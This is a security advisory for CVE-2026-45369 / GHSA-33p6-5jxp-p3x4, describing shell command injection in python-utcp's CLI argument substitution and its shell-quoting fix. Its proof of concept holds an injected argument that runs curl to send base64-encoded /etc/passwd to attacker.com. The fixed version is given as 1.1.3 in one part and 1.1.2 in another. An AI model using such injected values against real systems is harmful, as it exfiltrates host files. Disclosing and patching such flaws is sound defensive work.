CVE-2026-45369 — python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Affected: universal-tool-calling-protocol python-utcp

python-utcp is the python implementation of UTCP. Prior to 1.1.3, the _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands. This vulnerability is fixed in 1.1.3.

GHSA-33p6-5jxp-p3x4 — utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Affected: PyPI: utcp-cli

## Summary

The `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.

## Affected File

`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`

## Vulnerable Code

```python def replace_placeholder(match): arg_name = match.group(1) if arg_name in tool_args: return str(tool_args[arg_name]) # No escaping applied ```

The substituted command is then embedded directly into a shell script:

```python script_lines.append(f'{var_name}=$({substituted_command} 2>&1)') ```

And executed via:

```python shell_cmd = ['/bin/bash', '-c', script] ```

## Proof of Concept

Given a tool defined as: ```json {"command": "python script.py --input UTCP_ARG_filename_UTCP_END"} ```

Calling with: ```python tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"} ```

Produces and executes: ```bash CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1) ```

This results in full Remote Code Execution on the host system.

## Patched

Fixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Window…

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CVE-2026-45369 — python-utcp: Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

GHSA-33p6-5jxp-p3x4 — utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol